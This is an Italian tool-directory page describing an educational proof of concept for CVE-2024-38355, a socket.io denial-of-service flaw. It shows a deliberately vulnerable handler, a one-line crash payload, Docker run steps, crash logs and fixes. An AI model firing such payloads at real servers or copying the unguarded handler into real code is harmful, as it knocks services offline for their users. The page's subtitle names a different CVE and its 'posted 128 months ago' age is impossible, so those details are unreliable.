Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-38355-PoC — Prova di concetto di CVE-2024-47554 | Kitploit
Strumenti/GitHubGitHub/pawelmurdzek/cve-2024-38355-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebApprendimento e Formazione
GitHubpawelmurdzek/cve-2024-38355-poc

CVE-2024-38355-PoC

Prova di concetto di CVE-2024-47554

Vedi Repository
128 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Demo CVE-2024-38355 (Crash di Socket.IO)

Questo progetto è una Proof of Concept che dimostra CVE-2024-38355, una vulnerabilità di denial-of-service in socket.io. Il progetto è stato creato a scopo educativo per mostrare il meccanismo di attacco e come proteggere le applicazioni.

Informazioni sulla Vulnerabilità (CVE-2024-38355)

Questa vulnerabilità interessa le versioni di socket.io:

  • < 2.5.1
  • >= 3.0.0, < 4.6.2

Un pacchetto Socket.IO creato ad arte può innescare un'eccezione non catturata sul server, causando il crash del processo Node.js. Questo si traduce in un attacco Denial of Service (DoS).

Come funziona:

  1. Il client si connette normalmente al server Socket.IO.
  2. Il client invia un evento/pacchetto dannoso che innesca un errore sul server.
  3. Se il codice del server genera un'eccezione (ad esempio, durante l'elaborazione di input non attendibili) e non è presente un gestore di errori sul socket, l'eccezione non catturata manda in crash l'intero processo Node.js.
  4. Il server diventa non disponibile per tutti gli utenti.

Fattori chiave:

  • L'assenza di un listener dell'evento error sul socket
  • Codice lato server in grado di generare eccezioni durante l'elaborazione dei dati del client
  • Nessun gestore globale per le eccezioni non catturate

Struttura del Progetto

Il progetto è composto da due container Docker:

  1. vulnerable-server: Un server Node.js che utilizza [email protected] vulnerabile. Dispone di un gestore di eventi che può generare un'eccezione non catturata quando riceve dati dannosi.
  2. exploit-client: Uno script Node.js che si connette al server, testa prima il normale funzionamento, poi invia un payload che manda in crash il server.

Requisiti

  • Docker
  • Docker Compose

In alternativa:

  • Node.js 18+
  • npm

Come Eseguire

Opzione 1: Utilizzo di Docker Compose (Consigliato)

Apri un terminale nella directory principale del progetto ed esegui:

docker-compose down
docker-compose build --no-cache
docker-compose up

Questa operazione:

  1. Crea le immagini per il server e il client.
  2. Avvia il server sulla porta 3000.
  3. Avvia il client exploit, che attaccherà automaticamente e manderà in crash il server.

Opzione 2: Esecuzione Locale (Senza Docker)

Terminale 1 - Avvia il server:

cd server
npm install
npm start

Terminale 2 - Esegui l'exploit:

cd exploit
npm install
npm start

Output Atteso

Log del server:

[SERVER] Running on port 3000. Waiting for connections...
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"message":"Hello, normal request"}
[SERVER] Client disconnected: <socket-id>
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"trigger":"crash"}
/app/index.js:24
            throw new Error('Uncaught exception triggered by malicious packet');

Log dell'exploit:

[EXPLOIT] CVE-2024-38355 Proof of Concept
[EXPLOIT] Targeting http://vulnerable-server:3000...

[STEP 1] Testing normal connection...
[STEP 1] Connected successfully.
[STEP 1] Received response: {"status":"processed","data":{"message":"Hello, normal request"}}

[STEP 2] Sending malicious payload to trigger CVE-2024-38355...
[STEP 2] Connected. Sending crash trigger...
[STEP 2] Payload sent! Waiting for server to crash...
[STEP 2] Disconnected (server may have crashed).

[STEP 3] Checking if server is still alive...
[RESULT] SUCCESS! Server is unreachable: xhr poll error

Arresto

Premi Ctrl+C o esegui:

docker-compose down

Analisi del Codice

Server Vulnerabile (server/index.js)

socket.on('process_data', (data) => {
    // VULNERABLE: No try-catch, no error handler on socket
    if (data && data.trigger === 'crash') {
        throw new Error('Uncaught exception');  // Crashes the process!
    }
});

Exploit (exploit/exploit.js)

// Send malicious payload that triggers the crash
socket.emit('process_data', { trigger: 'crash' });

Come Risolvere?

Per proteggere la tua applicazione da questa vulnerabilità:

  1. Aggiorna socket.io alla versione 4.6.2 o successiva (la correzione aggiunge un gestore di errori noop predefinito).

  2. Collega sempre dei gestori di errori ai socket:

    socket.on('error', (err) => {
        console.error('Socket error:', err);
        // Handle gracefully, don't let it crash the server
    });
    
  3. Avvolgi i gestori di eventi in try-catch:

    socket.on('process_data', (data) => {
        try {
            // Process data safely
        } catch (err) {
            console.error('Error processing data:', err);
            socket.emit('error_response', { message: 'Invalid data' });
        }
    });
    
  4. Aggiungi un gestore globale per le eccezioni non catturate (come ultima risorsa):

    process.on('uncaughtException', (err) => {
        console.error('Uncaught Exception:', err);
        // Log and gracefully shutdown
    });
    

Riferimenti

  • CVE-2024-38355 su NVD
  • GitHub Security Advisory GHSA-25hc-qcg6-38wj
  • Commit della correzione

Progetto creato a scopo educativo.

Scarica lo strumento